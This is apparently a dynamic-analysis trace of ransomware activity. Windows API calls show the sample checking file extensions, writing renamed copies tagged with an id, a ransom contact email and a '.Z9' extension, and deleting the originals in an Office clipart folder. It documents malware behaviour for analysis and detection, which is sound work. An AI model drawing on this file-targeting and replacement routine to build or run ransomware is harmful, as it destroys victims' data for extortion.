	[0092.778] lstrlenW (lpString=".1cd") returned 4
	[0092.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.778] lstrlenW (lpString=".jpg") returned 4
	[0092.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.779] lstrlenW (lpString=".doc") returned 4
	[0092.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString=".docx") returned 5
	[0092.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0092.779] lstrlenW (lpString=".pdf") returned 4
	[0092.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString=".xls") returned 4
	[0092.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0092.779] lstrlenW (lpString=".xlsx") returned 5
	[0092.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0092.779] lstrlenW (lpString=".ppt") returned 4
	[0092.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.779] lstrlenW (lpString=".zip") returned 4
	[0092.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0092.779] lstrlenW (lpString=".rar") returned 4
	[0092.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString=".bz2") returned 4
	[0092.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString=".7z") returned 3
	[0092.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0092.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.779] lstrlenW (lpString=".dbf") returned 4
	[0092.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.779] lstrlenW (lpString=".1cd") returned 4
	[0092.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0092.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0092.779] lstrlenW (lpString=".jpg") returned 4
	[0092.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0092.779] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0092.780] lstrlenW (lpString="FD00397_.WMF") returned 12
	[0092.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.780] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=10816) returned 1
	[0092.780] CloseHandle (hObject=0x384) returned 1
	[0092.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220
	[0092.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0092.780] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.780] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0092.781] GetLastError () returned 0x0
	[0092.781] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2a40, lpOverlapped=0x0) returned 1
	[0093.073] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2a50, lpOverlapped=0x0) returned 1
	[0093.074] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.074] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.074] SetEndOfFile (hFile=0x350) returned 1
	[0093.082] CloseHandle (hObject=0x350) returned 1
	[0093.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.082] SetEndOfFile (hFile=0x384) returned 1
	[0093.083] CloseHandle (hObject=0x384) returned 1
	[0093.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1
	[0093.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString=".doc") returned 4
	[0093.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString=".docx") returned 5
	[0093.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.084] lstrlenW (lpString=".pdf") returned 4
	[0093.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString=".xls") returned 4
	[0093.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.084] lstrlenW (lpString=".xlsx") returned 5
	[0093.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.084] lstrlenW (lpString=".ppt") returned 4
	[0093.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString=".zip") returned 4
	[0093.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.084] lstrlenW (lpString=".rar") returned 4
	[0093.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString=".bz2") returned 4
	[0093.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString=".7z") returned 3
	[0093.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString=".dbf") returned 4
	[0093.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString=".1cd") returned 4
	[0093.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString=".jpg") returned 4
	[0093.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.084] lstrlenW (lpString=".doc") returned 4
	[0093.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.084] lstrlenW (lpString=".docx") returned 5
	[0093.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.085] lstrlenW (lpString=".pdf") returned 4
	[0093.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.085] lstrlenW (lpString=".xls") returned 4
	[0093.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.085] lstrlenW (lpString=".xlsx") returned 5
	[0093.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.085] lstrlenW (lpString=".ppt") returned 4
	[0093.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.085] lstrlenW (lpString=".zip") returned 4
	[0093.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.085] lstrlenW (lpString=".rar") returned 4
	[0093.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.085] lstrlenW (lpString=".bz2") returned 4
	[0093.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.085] lstrlenW (lpString=".7z") returned 3
	[0093.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.085] lstrlenW (lpString=".dbf") returned 4
	[0093.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.085] lstrlenW (lpString=".1cd") returned 4
	[0093.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0093.085] lstrlenW (lpString=".jpg") returned 4
	[0093.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.085] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.085] lstrlenW (lpString="FD00586_.WMF") returned 12
	[0093.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.086] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=752) returned 1
	[0093.086] CloseHandle (hObject=0x384) returned 1
	[0093.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220
	[0093.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.086] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.087] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0093.087] GetLastError () returned 0x0
	[0093.087] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2f0, lpOverlapped=0x0) returned 1
	[0093.088] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x300, lpOverlapped=0x0) returned 1
	[0093.089] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.089] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.089] SetEndOfFile (hFile=0x350) returned 1
	[0093.089] CloseHandle (hObject=0x350) returned 1
	[0093.089] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.089] SetEndOfFile (hFile=0x384) returned 1
	[0093.090] CloseHandle (hObject=0x384) returned 1
	[0093.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1
	[0093.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.091] lstrlenW (lpString=".doc") returned 4
	[0093.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.091] lstrlenW (lpString=".docx") returned 5
	[0093.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.091] lstrlenW (lpString=".pdf") returned 4
	[0093.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.091] lstrlenW (lpString=".xls") returned 4
	[0093.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.091] lstrlenW (lpString=".xlsx") returned 5
	[0093.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.091] lstrlenW (lpString=".ppt") returned 4
	[0093.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.091] lstrlenW (lpString=".zip") returned 4
	[0093.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.091] lstrlenW (lpString=".rar") returned 4
	[0093.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.091] lstrlenW (lpString=".bz2") returned 4
	[0093.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.091] lstrlenW (lpString=".7z") returned 3
	[0093.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.091] lstrlenW (lpString=".dbf") returned 4
	[0093.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString=".1cd") returned 4
	[0093.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString=".jpg") returned 4
	[0093.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString=".doc") returned 4
	[0093.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString=".docx") returned 5
	[0093.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.092] lstrlenW (lpString=".pdf") returned 4
	[0093.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString=".xls") returned 4
	[0093.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.092] lstrlenW (lpString=".xlsx") returned 5
	[0093.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.092] lstrlenW (lpString=".ppt") returned 4
	[0093.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString=".zip") returned 4
	[0093.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.092] lstrlenW (lpString=".rar") returned 4
	[0093.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString=".bz2") returned 4
	[0093.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString=".7z") returned 3
	[0093.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString=".dbf") returned 4
	[0093.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.092] lstrlenW (lpString=".1cd") returned 4
	[0093.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0093.093] lstrlenW (lpString=".jpg") returned 4
	[0093.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.093] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.093] lstrlenW (lpString="FD00775_.WMF") returned 12
	[0093.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.093] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=11152) returned 1
	[0093.093] CloseHandle (hObject=0x384) returned 1
	[0093.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220
	[0093.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.093] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.094] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0093.094] GetLastError () returned 0x0
	[0093.094] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2b90, lpOverlapped=0x0) returned 1
	[0093.095] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0093.096] ReadFile (in: hFile=0x384, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.096] WriteFile (in: hFile=0x350, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.096] SetEndOfFile (hFile=0x350) returned 1
	[0093.096] CloseHandle (hObject=0x350) returned 1
	[0093.097] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.097] SetEndOfFile (hFile=0x384) returned 1
	[0093.097] CloseHandle (hObject=0x384) returned 1
	[0093.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1
	[0093.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.098] lstrlenW (lpString=".doc") returned 4
	[0093.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.098] lstrlenW (lpString=".docx") returned 5
	[0093.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.098] lstrlenW (lpString=".pdf") returned 4
	[0093.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.098] lstrlenW (lpString=".xls") returned 4
	[0093.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.098] lstrlenW (lpString=".xlsx") returned 5
	[0093.098] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.098] lstrlenW (lpString=".ppt") returned 4
	[0093.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.098] lstrlenW (lpString=".zip") returned 4
	[0093.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.098] lstrlenW (lpString=".rar") returned 4
	[0093.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.098] lstrlenW (lpString=".bz2") returned 4
	[0093.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.098] lstrlenW (lpString=".7z") returned 3
	[0093.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
	[0093.098] lstrlenW (lpString=".dbf") returned 4
	[0093.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68
